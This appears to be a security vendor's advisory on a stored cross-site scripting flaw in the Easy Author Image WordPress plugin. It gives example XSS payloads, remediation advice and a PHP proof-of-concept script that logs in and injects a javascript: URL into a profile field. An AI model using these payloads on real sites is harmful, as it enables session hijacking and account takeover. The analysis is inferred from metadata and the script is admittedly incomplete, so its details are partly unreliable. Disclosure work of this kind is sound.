Atomic Edge analysis of CVE-2026-1373 (metadata-based):
The Easy Author Image plugin for WordPress versions up to and including 1.7 contains an authenticated stored cross-site scripting vulnerability. The flaw exists in the handling of the ‘author_profile_picture_url’ parameter. Attackers with Subscriber-level permissions or higher can inject malicious scripts that persist in the WordPress database and execute when affected pages load.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping for the ‘author_profile_picture_url’ parameter. The plugin likely accepts user-supplied URL input through a profile update function without properly validating or sanitizing it. This input is then stored and later rendered without adequate escaping. These conclusions are inferred from the CWE-79 classification and vulnerability description, as no source code is available for confirmation.
Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker would submit a crafted payload through the profile picture URL field, possibly via the WordPress profile update mechanism. A typical payload would be a JavaScript URL like `javascript:alert(document.cookie)` or an image tag with an onerror handler such as `
`. The exact endpoint is likely the user profile update function, which may use AJAX or standard POST requests.
Remediation requires implementing proper input validation and output escaping. The plugin should validate that the ‘author_profile_picture_url’ parameter contains a legitimate URL format. It should sanitize the input using WordPress functions like `esc_url_raw()` before storage. The plugin must also escape the output when displaying the URL using `esc_url()` or similar context-appropriate escaping functions.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of any user viewing the affected page. This can lead to session hijacking, account takeover, content modification, or redirection to malicious sites. The stored nature means a single injection affects all subsequent visitors, amplifying the impact. The vulnerability requires low-privilege authentication but has no impact on availability.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1373 - Easy Author Image <= 1.7 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Profile Picture URL
<?php
$target_url = 'http://target-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Payload to inject - using JavaScript URL vector
$malicious_url = 'javascript:alert(document.domain);//';
// Initialize cURL session for login
$ch = curl_init();
// Step 1: Get login page to retrieve nonce (if required)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
// Step 2: Submit login credentials
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);
// Step 3: Update profile with malicious URL
// Assumption: Plugin uses standard WordPress profile update with 'author_profile_picture_url' parameter
$profile_data = array(
'author_profile_picture_url' => $malicious_url,
'submit' => 'Update Profile',
// WordPress may require additional fields like user_id
'user_id' => '2', // Assumed user ID - attacker would need to determine this
'_wpnonce' => '' // Nonce would need to be extracted from profile page
);
// Note: This PoC requires extracting the nonce and user ID from the profile page first
// For demonstration, we show the attack vector structure
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/profile.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($profile_data));
$response = curl_exec($ch);
// Check if injection succeeded
if (strpos($response, $malicious_url) !== false) {
echo "Payload likely injected. Visit any page displaying the author profile picture to trigger XSS.n";
} else {
echo "Injection may have failed. Manual nonce/user_id extraction required.n";
}
curl_close($ch);
?>
